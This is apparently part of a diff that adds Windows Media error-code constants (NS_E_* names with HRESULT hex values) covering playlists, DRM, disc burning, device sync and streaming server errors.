+NS_E_WMPCORE_FAILED_TO_BUILD_PLAYLIST                        = 0xC00D109E
+NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NONE                    = 0xC00D109F
+NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_EXHAUSTED               = 0xC00D10A0
+NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_NAME_NOT_FOUND          = 0xC00D10A1
+NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_MORPH_FAILED            = 0xC00D10A2
+NS_E_WMPCORE_PLAYLIST_ITEM_ALTERNATE_INIT_FAILED             = 0xC00D10A3
+NS_E_WMPCORE_MEDIA_ALTERNATE_REF_EMPTY                       = 0xC00D10A4
+NS_E_WMPCORE_PLAYLIST_NO_EVENT_NAME                          = 0xC00D10A5
+NS_E_WMPCORE_PLAYLIST_EVENT_ATTRIBUTE_ABSENT                 = 0xC00D10A6
+NS_E_WMPCORE_PLAYLIST_EVENT_EMPTY                            = 0xC00D10A7
+NS_E_WMPCORE_PLAYLIST_STACK_EMPTY                            = 0xC00D10A8
+NS_E_WMPCORE_CURRENT_MEDIA_NOT_ACTIVE                        = 0xC00D10A9
+NS_E_WMPCORE_USER_CANCEL                                     = 0xC00D10AB
+NS_E_WMPCORE_PLAYLIST_REPEAT_EMPTY                           = 0xC00D10AC
+NS_E_WMPCORE_PLAYLIST_REPEAT_START_MEDIA_NONE                = 0xC00D10AD
+NS_E_WMPCORE_PLAYLIST_REPEAT_END_MEDIA_NONE                  = 0xC00D10AE
+NS_E_WMPCORE_INVALID_PLAYLIST_URL                            = 0xC00D10AF
+NS_E_WMPCORE_MISMATCHED_RUNTIME                              = 0xC00D10B0
+NS_E_WMPCORE_PLAYLIST_IMPORT_FAILED_NO_ITEMS                 = 0xC00D10B1
+NS_E_WMPCORE_VIDEO_TRANSFORM_FILTER_INSERTION                = 0xC00D10B2
+NS_E_WMPCORE_MEDIA_UNAVAILABLE                               = 0xC00D10B3
+NS_E_WMPCORE_WMX_ENTRYREF_NO_REF                             = 0xC00D10B4
+NS_E_WMPCORE_NO_PLAYABLE_MEDIA_IN_PLAYLIST                   = 0xC00D10B5
+NS_E_WMPCORE_PLAYLIST_EMPTY_NESTED_PLAYLIST_SKIPPED_ITEMS    = 0xC00D10B6
+NS_E_WMPCORE_BUSY                                            = 0xC00D10B7
+NS_E_WMPCORE_MEDIA_CHILD_PLAYLIST_UNAVAILABLE                = 0xC00D10B8
+NS_E_WMPCORE_MEDIA_NO_CHILD_PLAYLIST                         = 0xC00D10B9
+NS_E_WMPCORE_FILE_NOT_FOUND                                  = 0xC00D10BA
+NS_E_WMPCORE_TEMP_FILE_NOT_FOUND                             = 0xC00D10BB
+NS_E_WMDM_REVOKED                                            = 0xC00D10BC
+NS_E_DDRAW_GENERIC                                           = 0xC00D10BD
+NS_E_DISPLAY_MODE_CHANGE_FAILED                              = 0xC00D10BE
+NS_E_PLAYLIST_CONTAINS_ERRORS                                = 0xC00D10BF
+NS_E_CHANGING_PROXY_NAME                                     = 0xC00D10C0
+NS_E_CHANGING_PROXY_PORT                                     = 0xC00D10C1
+NS_E_CHANGING_PROXY_EXCEPTIONLIST                            = 0xC00D10C2
+NS_E_CHANGING_PROXYBYPASS                                    = 0xC00D10C3
+NS_E_CHANGING_PROXY_PROTOCOL_NOT_FOUND                       = 0xC00D10C4
+NS_E_GRAPH_NOAUDIOLANGUAGE                                   = 0xC00D10C5
+NS_E_GRAPH_NOAUDIOLANGUAGESELECTED                           = 0xC00D10C6
+NS_E_CORECD_NOTAMEDIACD                                      = 0xC00D10C7
+NS_E_WMPCORE_MEDIA_URL_TOO_LONG                              = 0xC00D10C8
+NS_E_WMPFLASH_CANT_FIND_COM_SERVER                           = 0xC00D10C9
+NS_E_WMPFLASH_INCOMPATIBLEVERSION                            = 0xC00D10CA
+NS_E_WMPOCXGRAPH_IE_DISALLOWS_ACTIVEX_CONTROLS               = 0xC00D10CB
+NS_E_NEED_CORE_REFERENCE                                     = 0xC00D10CC
+NS_E_MEDIACD_READ_ERROR                                      = 0xC00D10CD
+NS_E_IE_DISALLOWS_ACTIVEX_CONTROLS                           = 0xC00D10CE
+NS_E_FLASH_PLAYBACK_NOT_ALLOWED                              = 0xC00D10CF
+NS_E_UNABLE_TO_CREATE_RIP_LOCATION                           = 0xC00D10D0
+NS_E_WMPCORE_SOME_CODECS_MISSING                             = 0xC00D10D1
+NS_E_WMP_RIP_FAILED                                          = 0xC00D10D2
+NS_E_WMP_FAILED_TO_RIP_TRACK                                 = 0xC00D10D3
+NS_E_WMP_ERASE_FAILED                                        = 0xC00D10D4
+NS_E_WMP_FORMAT_FAILED                                       = 0xC00D10D5
+NS_E_WMP_CANNOT_BURN_NON_LOCAL_FILE                          = 0xC00D10D6
+NS_E_WMP_FILE_TYPE_CANNOT_BURN_TO_AUDIO_CD                   = 0xC00D10D7
+NS_E_WMP_FILE_DOES_NOT_FIT_ON_CD                             = 0xC00D10D8
+NS_E_WMP_FILE_NO_DURATION                                    = 0xC00D10D9
+NS_E_PDA_FAILED_TO_BURN                                      = 0xC00D10DA
+NS_E_FAILED_DOWNLOAD_ABORT_BURN                              = 0xC00D10DC
+NS_E_WMPCORE_DEVICE_DRIVERS_MISSING                          = 0xC00D10DD
+NS_E_WMPIM_USEROFFLINE                                       = 0xC00D1126
+NS_E_WMPIM_USERCANCELED                                      = 0xC00D1127
+NS_E_WMPIM_DIALUPFAILED                                      = 0xC00D1128
+NS_E_WINSOCK_ERROR_STRING                                    = 0xC00D1129
+NS_E_WMPBR_NOLISTENER                                        = 0xC00D1130
+NS_E_WMPBR_BACKUPCANCEL                                      = 0xC00D1131
+NS_E_WMPBR_RESTORECANCEL                                     = 0xC00D1132
+NS_E_WMPBR_ERRORWITHURL                                      = 0xC00D1133
+NS_E_WMPBR_NAMECOLLISION                                     = 0xC00D1134
+NS_E_WMPBR_DRIVE_INVALID                                     = 0xC00D1137
+NS_E_WMPBR_BACKUPRESTOREFAILED                               = 0xC00D1138
+NS_E_WMP_CONVERT_FILE_FAILED                                 = 0xC00D1158
+NS_E_WMP_CONVERT_NO_RIGHTS_ERRORURL                          = 0xC00D1159
+NS_E_WMP_CONVERT_NO_RIGHTS_NOERRORURL                        = 0xC00D115A
+NS_E_WMP_CONVERT_FILE_CORRUPT                                = 0xC00D115B
+NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_ERRORURL                 = 0xC00D115C
+NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_NOERRORURL               = 0xC00D115D
+NS_E_WMP_CONVERT_PLUGIN_UNKNOWN_FILE_OWNER                   = 0xC00D115E
+NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_NS                         = 0xC00D1160
+NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_FAILED                     = 0xC00D1161
+NS_E_DVD_NO_SUBPICTURE_STREAM                                = 0xC00D1162
+NS_E_DVD_COPY_PROTECT                                        = 0xC00D1163
+NS_E_DVD_AUTHORING_PROBLEM                                   = 0xC00D1164
+NS_E_DVD_INVALID_DISC_REGION                                 = 0xC00D1165
+NS_E_DVD_COMPATIBLE_VIDEO_CARD                               = 0xC00D1166
+NS_E_DVD_MACROVISION                                         = 0xC00D1167
+NS_E_DVD_SYSTEM_DECODER_REGION                               = 0xC00D1168
+NS_E_DVD_DISC_DECODER_REGION                                 = 0xC00D1169
+NS_E_DVD_NO_VIDEO_STREAM                                     = 0xC00D116A
+NS_E_DVD_NO_AUDIO_STREAM                                     = 0xC00D116B
+NS_E_DVD_GRAPH_BUILDING                                      = 0xC00D116C
+NS_E_DVD_NO_DECODER                                          = 0xC00D116D
+NS_E_DVD_PARENTAL                                            = 0xC00D116E
+NS_E_DVD_CANNOT_JUMP                                         = 0xC00D116F
+NS_E_DVD_DEVICE_CONTENTION                                   = 0xC00D1170
+NS_E_DVD_NO_VIDEO_MEMORY                                     = 0xC00D1171
+NS_E_DVD_CANNOT_COPY_PROTECTED                               = 0xC00D1172
+NS_E_DVD_REQUIRED_PROPERTY_NOT_SET                           = 0xC00D1173
+NS_E_DVD_INVALID_TITLE_CHAPTER                               = 0xC00D1174
+NS_E_NO_CD_BURNER                                            = 0xC00D1176
+NS_E_DEVICE_IS_NOT_READY                                     = 0xC00D1177
+NS_E_PDA_UNSUPPORTED_FORMAT                                  = 0xC00D1178
+NS_E_NO_PDA                                                  = 0xC00D1179
+NS_E_PDA_UNSPECIFIED_ERROR                                   = 0xC00D117A
+NS_E_MEMSTORAGE_BAD_DATA                                     = 0xC00D117B
+NS_E_PDA_FAIL_SELECT_DEVICE                                  = 0xC00D117C
+NS_E_PDA_FAIL_READ_WAVE_FILE                                 = 0xC00D117D
+NS_E_IMAPI_LOSSOFSTREAMING                                   = 0xC00D117E
+NS_E_PDA_DEVICE_FULL                                         = 0xC00D117F
+NS_E_FAIL_LAUNCH_ROXIO_PLUGIN                                = 0xC00D1180
+NS_E_PDA_DEVICE_FULL_IN_SESSION                              = 0xC00D1181
+NS_E_IMAPI_MEDIUM_INVALIDTYPE                                = 0xC00D1182
+NS_E_PDA_MANUALDEVICE                                        = 0xC00D1183
+NS_E_PDA_PARTNERSHIPNOTEXIST                                 = 0xC00D1184
+NS_E_PDA_CANNOT_CREATE_ADDITIONAL_SYNC_RELATIONSHIP          = 0xC00D1185
+NS_E_PDA_NO_TRANSCODE_OF_DRM                                 = 0xC00D1186
+NS_E_PDA_TRANSCODECACHEFULL                                  = 0xC00D1187
+NS_E_PDA_TOO_MANY_FILE_COLLISIONS                            = 0xC00D1188
+NS_E_PDA_CANNOT_TRANSCODE                                    = 0xC00D1189
+NS_E_PDA_TOO_MANY_FILES_IN_DIRECTORY                         = 0xC00D118A
+NS_E_PROCESSINGSHOWSYNCWIZARD                                = 0xC00D118B
+NS_E_PDA_TRANSCODE_NOT_PERMITTED                             = 0xC00D118C
+NS_E_PDA_INITIALIZINGDEVICES                                 = 0xC00D118D
+NS_E_PDA_OBSOLETE_SP                                         = 0xC00D118E
+NS_E_PDA_TITLE_COLLISION                                     = 0xC00D118F
+NS_E_PDA_DEVICESUPPORTDISABLED                               = 0xC00D1190
+NS_E_PDA_NO_LONGER_AVAILABLE                                 = 0xC00D1191
+NS_E_PDA_ENCODER_NOT_RESPONDING                              = 0xC00D1192
+NS_E_PDA_CANNOT_SYNC_FROM_LOCATION                           = 0xC00D1193
+NS_E_WMP_PROTOCOL_PROBLEM                                    = 0xC00D1194
+NS_E_WMP_NO_DISK_SPACE                                       = 0xC00D1195
+NS_E_WMP_LOGON_FAILURE                                       = 0xC00D1196
+NS_E_WMP_CANNOT_FIND_FILE                                    = 0xC00D1197
+NS_E_WMP_SERVER_INACCESSIBLE                                 = 0xC00D1198
+NS_E_WMP_UNSUPPORTED_FORMAT                                  = 0xC00D1199
+NS_E_WMP_DSHOW_UNSUPPORTED_FORMAT                            = 0xC00D119A
+NS_E_WMP_PLAYLIST_EXISTS                                     = 0xC00D119B
+NS_E_WMP_NONMEDIA_FILES                                      = 0xC00D119C
+NS_E_WMP_INVALID_ASX                                         = 0xC00D119D
+NS_E_WMP_ALREADY_IN_USE                                      = 0xC00D119E
+NS_E_WMP_IMAPI_FAILURE                                       = 0xC00D119F
+NS_E_WMP_WMDM_FAILURE                                        = 0xC00D11A0
+NS_E_WMP_CODEC_NEEDED_WITH_4CC                               = 0xC00D11A1
+NS_E_WMP_CODEC_NEEDED_WITH_FORMATTAG                         = 0xC00D11A2
+NS_E_WMP_MSSAP_NOT_AVAILABLE                                 = 0xC00D11A3
+NS_E_WMP_WMDM_INTERFACEDEAD                                  = 0xC00D11A4
+NS_E_WMP_WMDM_NOTCERTIFIED                                   = 0xC00D11A5
+NS_E_WMP_WMDM_LICENSE_NOTEXIST                               = 0xC00D11A6
+NS_E_WMP_WMDM_LICENSE_EXPIRED                                = 0xC00D11A7
+NS_E_WMP_WMDM_BUSY                                           = 0xC00D11A8
+NS_E_WMP_WMDM_NORIGHTS                                       = 0xC00D11A9
+NS_E_WMP_WMDM_INCORRECT_RIGHTS                               = 0xC00D11AA
+NS_E_WMP_IMAPI_GENERIC                                       = 0xC00D11AB
+NS_E_WMP_IMAPI_DEVICE_NOTPRESENT                             = 0xC00D11AD
+NS_E_WMP_IMAPI_DEVICE_BUSY                                   = 0xC00D11AE
+NS_E_WMP_IMAPI_LOSS_OF_STREAMING                             = 0xC00D11AF
+NS_E_WMP_SERVER_UNAVAILABLE                                  = 0xC00D11B0
+NS_E_WMP_FILE_OPEN_FAILED                                    = 0xC00D11B1
+NS_E_WMP_VERIFY_ONLINE                                       = 0xC00D11B2
+NS_E_WMP_SERVER_NOT_RESPONDING                               = 0xC00D11B3
+NS_E_WMP_DRM_CORRUPT_BACKUP                                  = 0xC00D11B4
+NS_E_WMP_DRM_LICENSE_SERVER_UNAVAILABLE                      = 0xC00D11B5
+NS_E_WMP_NETWORK_FIREWALL                                    = 0xC00D11B6
+NS_E_WMP_NO_REMOVABLE_MEDIA                                  = 0xC00D11B7
+NS_E_WMP_PROXY_CONNECT_TIMEOUT                               = 0xC00D11B8
+NS_E_WMP_NEED_UPGRADE                                        = 0xC00D11B9
+NS_E_WMP_AUDIO_HW_PROBLEM                                    = 0xC00D11BA
+NS_E_WMP_INVALID_PROTOCOL                                    = 0xC00D11BB
+NS_E_WMP_INVALID_LIBRARY_ADD                                 = 0xC00D11BC
+NS_E_WMP_MMS_NOT_SUPPORTED                                   = 0xC00D11BD
+NS_E_WMP_NO_PROTOCOLS_SELECTED                               = 0xC00D11BE
+NS_E_WMP_GOFULLSCREEN_FAILED                                 = 0xC00D11BF
+NS_E_WMP_NETWORK_ERROR                                       = 0xC00D11C0
+NS_E_WMP_CONNECT_TIMEOUT                                     = 0xC00D11C1
+NS_E_WMP_MULTICAST_DISABLED                                  = 0xC00D11C2
+NS_E_WMP_SERVER_DNS_TIMEOUT                                  = 0xC00D11C3
+NS_E_WMP_PROXY_NOT_FOUND                                     = 0xC00D11C4
+NS_E_WMP_TAMPERED_CONTENT                                    = 0xC00D11C5
+NS_E_WMP_OUTOFMEMORY                                         = 0xC00D11C6
+NS_E_WMP_AUDIO_CODEC_NOT_INSTALLED                           = 0xC00D11C7
+NS_E_WMP_VIDEO_CODEC_NOT_INSTALLED                           = 0xC00D11C8
+NS_E_WMP_IMAPI_DEVICE_INVALIDTYPE                            = 0xC00D11C9
+NS_E_WMP_DRM_DRIVER_AUTH_FAILURE                             = 0xC00D11CA
+NS_E_WMP_NETWORK_RESOURCE_FAILURE                            = 0xC00D11CB
+NS_E_WMP_UPGRADE_APPLICATION                                 = 0xC00D11CC
+NS_E_WMP_UNKNOWN_ERROR                                       = 0xC00D11CD
+NS_E_WMP_INVALID_KEY                                         = 0xC00D11CE
+NS_E_WMP_CD_ANOTHER_USER                                     = 0xC00D11CF
+NS_E_WMP_DRM_NEEDS_AUTHORIZATION                             = 0xC00D11D0
+NS_E_WMP_BAD_DRIVER                                          = 0xC00D11D1
+NS_E_WMP_ACCESS_DENIED                                       = 0xC00D11D2
+NS_E_WMP_LICENSE_RESTRICTS                                   = 0xC00D11D3
+NS_E_WMP_INVALID_REQUEST                                     = 0xC00D11D4
+NS_E_WMP_CD_STASH_NO_SPACE                                   = 0xC00D11D5
+NS_E_WMP_DRM_NEW_HARDWARE                                    = 0xC00D11D6
+NS_E_WMP_DRM_INVALID_SIG                                     = 0xC00D11D7
+NS_E_WMP_DRM_CANNOT_RESTORE                                  = 0xC00D11D8
+NS_E_WMP_BURN_DISC_OVERFLOW                                  = 0xC00D11D9
+NS_E_WMP_DRM_GENERIC_LICENSE_FAILURE                         = 0xC00D11DA
+NS_E_WMP_DRM_NO_SECURE_CLOCK                                 = 0xC00D11DB
+NS_E_WMP_DRM_NO_RIGHTS                                       = 0xC00D11DC
+NS_E_WMP_DRM_INDIV_FAILED                                    = 0xC00D11DD
+NS_E_WMP_SERVER_NONEWCONNECTIONS                             = 0xC00D11DE
+NS_E_WMP_MULTIPLE_ERROR_IN_PLAYLIST                          = 0xC00D11DF
+NS_E_WMP_IMAPI2_ERASE_FAIL                                   = 0xC00D11E0
+NS_E_WMP_IMAPI2_ERASE_DEVICE_BUSY                            = 0xC00D11E1
+NS_E_WMP_DRM_COMPONENT_FAILURE                               = 0xC00D11E2
+NS_E_WMP_DRM_NO_DEVICE_CERT                                  = 0xC00D11E3
+NS_E_WMP_SERVER_SECURITY_ERROR                               = 0xC00D11E4
+NS_E_WMP_AUDIO_DEVICE_LOST                                   = 0xC00D11E5
+NS_E_WMP_IMAPI_MEDIA_INCOMPATIBLE                            = 0xC00D11E6
+NS_E_SYNCWIZ_DEVICE_FULL                                     = 0xC00D11EE
+NS_E_SYNCWIZ_CANNOT_CHANGE_SETTINGS                          = 0xC00D11EF
+NS_E_TRANSCODE_DELETECACHEERROR                              = 0xC00D11F0
+NS_E_CD_NO_BUFFERS_READ                                      = 0xC00D11F8
+NS_E_CD_EMPTY_TRACK_QUEUE                                    = 0xC00D11F9
+NS_E_CD_NO_READER                                            = 0xC00D11FA
+NS_E_CD_ISRC_INVALID                                         = 0xC00D11FB
+NS_E_CD_MEDIA_CATALOG_NUMBER_INVALID                         = 0xC00D11FC
+NS_E_SLOW_READ_DIGITAL_WITH_ERRORCORRECTION                  = 0xC00D11FD
+NS_E_CD_SPEEDDETECT_NOT_ENOUGH_READS                         = 0xC00D11FE
+NS_E_CD_QUEUEING_DISABLED                                    = 0xC00D11FF
+NS_E_WMP_DRM_ACQUIRING_LICENSE                               = 0xC00D1202
+NS_E_WMP_DRM_LICENSE_EXPIRED                                 = 0xC00D1203
+NS_E_WMP_DRM_LICENSE_NOTACQUIRED                             = 0xC00D1204
+NS_E_WMP_DRM_LICENSE_NOTENABLED                              = 0xC00D1205
+NS_E_WMP_DRM_LICENSE_UNUSABLE                                = 0xC00D1206
+NS_E_WMP_DRM_LICENSE_CONTENT_REVOKED                         = 0xC00D1207
+NS_E_WMP_DRM_LICENSE_NOSAP                                   = 0xC00D1208
+NS_E_WMP_DRM_UNABLE_TO_ACQUIRE_LICENSE                       = 0xC00D1209
+NS_E_WMP_LICENSE_REQUIRED                                    = 0xC00D120A
+NS_E_WMP_PROTECTED_CONTENT                                   = 0xC00D120B
+NS_E_WMP_POLICY_VALUE_NOT_CONFIGURED                         = 0xC00D122A
+NS_E_PDA_CANNOT_SYNC_FROM_INTERNET                           = 0xC00D1234
+NS_E_PDA_CANNOT_SYNC_INVALID_PLAYLIST                        = 0xC00D1235
+NS_E_PDA_FAILED_TO_SYNCHRONIZE_FILE                          = 0xC00D1236
+NS_E_PDA_SYNC_FAILED                                         = 0xC00D1237
+NS_E_PDA_DELETE_FAILED                                       = 0xC00D1238
+NS_E_PDA_FAILED_TO_RETRIEVE_FILE                             = 0xC00D1239
+NS_E_PDA_DEVICE_NOT_RESPONDING                               = 0xC00D123A
+NS_E_PDA_FAILED_TO_TRANSCODE_PHOTO                           = 0xC00D123B
+NS_E_PDA_FAILED_TO_ENCRYPT_TRANSCODED_FILE                   = 0xC00D123C
+NS_E_PDA_CANNOT_TRANSCODE_TO_AUDIO                           = 0xC00D123D
+NS_E_PDA_CANNOT_TRANSCODE_TO_VIDEO                           = 0xC00D123E
+NS_E_PDA_CANNOT_TRANSCODE_TO_IMAGE                           = 0xC00D123F
+NS_E_PDA_RETRIEVED_FILE_FILENAME_TOO_LONG                    = 0xC00D1240
+NS_E_PDA_CEWMDM_DRM_ERROR                                    = 0xC00D1241
+NS_E_INCOMPLETE_PLAYLIST                                     = 0xC00D1242
+NS_E_PDA_SYNC_RUNNING                                        = 0xC00D1243
+NS_E_PDA_SYNC_LOGIN_ERROR                                    = 0xC00D1244
+NS_E_PDA_TRANSCODE_CODEC_NOT_FOUND                           = 0xC00D1245
+NS_E_CANNOT_SYNC_DRM_TO_NON_JANUS_DEVICE                     = 0xC00D1246
+NS_E_CANNOT_SYNC_PREVIOUS_SYNC_RUNNING                       = 0xC00D1247
+NS_E_WMP_HWND_NOTFOUND                                       = 0xC00D125C
+NS_E_BKGDOWNLOAD_WRONG_NO_FILES                              = 0xC00D125D
+NS_E_BKGDOWNLOAD_COMPLETECANCELLEDJOB                        = 0xC00D125E
+NS_E_BKGDOWNLOAD_CANCELCOMPLETEDJOB                          = 0xC00D125F
+NS_E_BKGDOWNLOAD_NOJOBPOINTER                                = 0xC00D1260
+NS_E_BKGDOWNLOAD_INVALIDJOBSIGNATURE                         = 0xC00D1261
+NS_E_BKGDOWNLOAD_FAILED_TO_CREATE_TEMPFILE                   = 0xC00D1262
+NS_E_BKGDOWNLOAD_PLUGIN_FAILEDINITIALIZE                     = 0xC00D1263
+NS_E_BKGDOWNLOAD_PLUGIN_FAILEDTOMOVEFILE                     = 0xC00D1264
+NS_E_BKGDOWNLOAD_CALLFUNCFAILED                              = 0xC00D1265
+NS_E_BKGDOWNLOAD_CALLFUNCTIMEOUT                             = 0xC00D1266
+NS_E_BKGDOWNLOAD_CALLFUNCENDED                               = 0xC00D1267
+NS_E_BKGDOWNLOAD_WMDUNPACKFAILED                             = 0xC00D1268
+NS_E_BKGDOWNLOAD_FAILEDINITIALIZE                            = 0xC00D1269
+NS_E_INTERFACE_NOT_REGISTERED_IN_GIT                         = 0xC00D126A
+NS_E_BKGDOWNLOAD_INVALID_FILE_NAME                           = 0xC00D126B
+NS_E_IMAGE_DOWNLOAD_FAILED                                   = 0xC00D128E
+NS_E_WMP_UDRM_NOUSERLIST                                     = 0xC00D12C0
+NS_E_WMP_DRM_NOT_ACQUIRING                                   = 0xC00D12C1
+NS_E_WMP_BSTR_TOO_LONG                                       = 0xC00D12F2
+NS_E_WMP_AUTOPLAY_INVALID_STATE                              = 0xC00D12FC
+NS_E_WMP_COMPONENT_REVOKED                                   = 0xC00D1306
+NS_E_CURL_NOTSAFE                                            = 0xC00D1324
+NS_E_CURL_INVALIDCHAR                                        = 0xC00D1325
+NS_E_CURL_INVALIDHOSTNAME                                    = 0xC00D1326
+NS_E_CURL_INVALIDPATH                                        = 0xC00D1327
+NS_E_CURL_INVALIDSCHEME                                      = 0xC00D1328
+NS_E_CURL_INVALIDURL                                         = 0xC00D1329
+NS_E_CURL_CANTWALK                                           = 0xC00D132B
+NS_E_CURL_INVALIDPORT                                        = 0xC00D132C
+NS_E_CURLHELPER_NOTADIRECTORY                                = 0xC00D132D
+NS_E_CURLHELPER_NOTAFILE                                     = 0xC00D132E
+NS_E_CURL_CANTDECODE                                         = 0xC00D132F
+NS_E_CURLHELPER_NOTRELATIVE                                  = 0xC00D1330
+NS_E_CURL_INVALIDBUFFERSIZE                                  = 0xC00D1331
+NS_E_SUBSCRIPTIONSERVICE_PLAYBACK_DISALLOWED                 = 0xC00D1356
+NS_E_CANNOT_BUY_OR_DOWNLOAD_FROM_MULTIPLE_SERVICES           = 0xC00D1357
+NS_E_CANNOT_BUY_OR_DOWNLOAD_CONTENT                          = 0xC00D1358
+NS_E_NOT_CONTENT_PARTNER_TRACK                               = 0xC00D135A
+NS_E_TRACK_DOWNLOAD_REQUIRES_ALBUM_PURCHASE                  = 0xC00D135B
+NS_E_TRACK_DOWNLOAD_REQUIRES_PURCHASE                        = 0xC00D135C
+NS_E_TRACK_PURCHASE_MAXIMUM_EXCEEDED                         = 0xC00D135D
+NS_E_SUBSCRIPTIONSERVICE_LOGIN_FAILED                        = 0xC00D135F
+NS_E_SUBSCRIPTIONSERVICE_DOWNLOAD_TIMEOUT                    = 0xC00D1360
+NS_E_CONTENT_PARTNER_STILL_INITIALIZING                      = 0xC00D1362
+NS_E_OPEN_CONTAINING_FOLDER_FAILED                           = 0xC00D1363
+NS_E_ADVANCEDEDIT_TOO_MANY_PICTURES                          = 0xC00D136A
+NS_E_REDIRECT                                                = 0xC00D1388
+NS_E_STALE_PRESENTATION                                      = 0xC00D1389
+NS_E_NAMESPACE_WRONG_PERSIST                                 = 0xC00D138A
+NS_E_NAMESPACE_WRONG_TYPE                                    = 0xC00D138B
+NS_E_NAMESPACE_NODE_CONFLICT                                 = 0xC00D138C
+NS_E_NAMESPACE_NODE_NOT_FOUND                                = 0xC00D138D
+NS_E_NAMESPACE_BUFFER_TOO_SMALL                              = 0xC00D138E
+NS_E_NAMESPACE_TOO_MANY_CALLBACKS                            = 0xC00D138F
+NS_E_NAMESPACE_DUPLICATE_CALLBACK                            = 0xC00D1390
+NS_E_NAMESPACE_CALLBACK_NOT_FOUND                            = 0xC00D1391
+NS_E_NAMESPACE_NAME_TOO_LONG                                 = 0xC00D1392
+NS_E_NAMESPACE_DUPLICATE_NAME                                = 0xC00D1393
+NS_E_NAMESPACE_EMPTY_NAME                                    = 0xC00D1394
+NS_E_NAMESPACE_INDEX_TOO_LARGE                               = 0xC00D1395
+NS_E_NAMESPACE_BAD_NAME                                      = 0xC00D1396
+NS_E_NAMESPACE_WRONG_SECURITY                                = 0xC00D1397
+NS_E_CACHE_ARCHIVE_CONFLICT                                  = 0xC00D13EC
+NS_E_CACHE_ORIGIN_SERVER_NOT_FOUND                           = 0xC00D13ED
+NS_E_CACHE_ORIGIN_SERVER_TIMEOUT                             = 0xC00D13EE
+NS_E_CACHE_NOT_BROADCAST                                     = 0xC00D13EF
+NS_E_CACHE_CANNOT_BE_CACHED                                  = 0xC00D13F0
+NS_E_CACHE_NOT_MODIFIED                                      = 0xC00D13F1
+NS_E_CANNOT_REMOVE_PUBLISHING_POINT                          = 0xC00D1450
+NS_E_CANNOT_REMOVE_PLUGIN                                    = 0xC00D1451
+NS_E_WRONG_PUBLISHING_POINT_TYPE                             = 0xC00D1452
+NS_E_UNSUPPORTED_LOAD_TYPE                                   = 0xC00D1453
+NS_E_INVALID_PLUGIN_LOAD_TYPE_CONFIGURATION                  = 0xC00D1454
+NS_E_INVALID_PUBLISHING_POINT_NAME                           = 0xC00D1455
+NS_E_TOO_MANY_MULTICAST_SINKS                                = 0xC00D1456
+NS_E_PUBLISHING_POINT_INVALID_REQUEST_WHILE_STARTED          = 0xC00D1457
+NS_E_MULTICAST_PLUGIN_NOT_ENABLED                            = 0xC00D1458
+NS_E_INVALID_OPERATING_SYSTEM_VERSION                        = 0xC00D1459
+NS_E_PUBLISHING_POINT_REMOVED                                = 0xC00D145A
+NS_E_INVALID_PUSH_PUBLISHING_POINT_START_REQUEST             = 0xC00D145B
+NS_E_UNSUPPORTED_LANGUAGE                                    = 0xC00D145C
+NS_E_WRONG_OS_VERSION                                        = 0xC00D145D
+NS_E_PUBLISHING_POINT_STOPPED                                = 0xC00D145E
+NS_E_PLAYLIST_ENTRY_ALREADY_PLAYING                          = 0xC00D14B4
+NS_E_EMPTY_PLAYLIST                                          = 0xC00D14B5
+NS_E_PLAYLIST_PARSE_FAILURE                                  = 0xC00D14B6
+NS_E_PLAYLIST_UNSUPPORTED_ENTRY                              = 0xC00D14B7
+NS_E_PLAYLIST_ENTRY_NOT_IN_PLAYLIST                          = 0xC00D14B8
+NS_E_PLAYLIST_ENTRY_SEEK                                     = 0xC00D14B9
+NS_E_PLAYLIST_RECURSIVE_PLAYLISTS                            = 0xC00D14BA
+NS_E_PLAYLIST_TOO_MANY_NESTED_PLAYLISTS                      = 0xC00D14BB
+NS_E_PLAYLIST_SHUTDOWN                                       = 0xC00D14BC
+NS_E_PLAYLIST_END_RECEDING                                   = 0xC00D14BD
+NS_E_DATAPATH_NO_SINK                                        = 0xC00D1518
+NS_E_INVALID_PUSH_TEMPLATE                                   = 0xC00D151A
+NS_E_INVALID_PUSH_PUBLISHING_POINT                           = 0xC00D151B
+NS_E_CRITICAL_ERROR                                          = 0xC00D151C
+NS_E_NO_NEW_CONNECTIONS                                      = 0xC00D151D
+NS_E_WSX_INVALID_VERSION                                     = 0xC00D151E
+NS_E_HEADER_MISMATCH                                         = 0xC00D151F
+NS_E_PUSH_DUPLICATE_PUBLISHING_POINT_NAME                    = 0xC00D1520
+NS_E_NO_SCRIPT_ENGINE                                        = 0xC00D157C
+NS_E_PLUGIN_ERROR_REPORTED                                   = 0xC00D157D
+NS_E_SOURCE_PLUGIN_NOT_FOUND                                 = 0xC00D157E
+NS_E_PLAYLIST_PLUGIN_NOT_FOUND                               = 0xC00D157F
+NS_E_DATA_SOURCE_ENUMERATION_NOT_SUPPORTED                   = 0xC00D1580
+NS_E_MEDIA_PARSER_INVALID_FORMAT                             = 0xC00D1581
+NS_E_SCRIPT_DEBUGGER_NOT_INSTALLED                           = 0xC00D1582
+NS_E_FEATURE_REQUIRES_ENTERPRISE_SERVER                      = 0xC00D1583
+NS_E_WIZARD_RUNNING                                          = 0xC00D1584
+NS_E_INVALID_LOG_URL                                         = 0xC00D1585
+NS_E_INVALID_MTU_RANGE                                       = 0xC00D1586
+NS_E_INVALID_PLAY_STATISTICS                                 = 0xC00D1587
+NS_E_LOG_NEED_TO_BE_SKIPPED                                  = 0xC00D1588
+NS_E_HTTP_TEXT_DATACONTAINER_SIZE_LIMIT_EXCEEDED             = 0xC00D1589
+NS_E_PORT_IN_USE                                             = 0xC00D158A
+NS_E_PORT_IN_USE_HTTP                                        = 0xC00D158B
+NS_E_HTTP_TEXT_DATACONTAINER_INVALID_SERVER_RESPONSE         = 0xC00D158C
+NS_E_ARCHIVE_REACH_QUOTA                                     = 0xC00D158D
+NS_E_ARCHIVE_ABORT_DUE_TO_BCAST                              = 0xC00D158E
+NS_E_ARCHIVE_GAP_DETECTED                                    = 0xC00D158F
+NS_E_AUTHORIZATION_FILE_NOT_FOUND                            = 0xC00D1590
+NS_E_BAD_MARKIN                                              = 0xC00D1B58
+NS_E_BAD_MARKOUT                                             = 0xC00D1B59
+NS_E_NOMATCHING_MEDIASOURCE                                  = 0xC00D1B5A
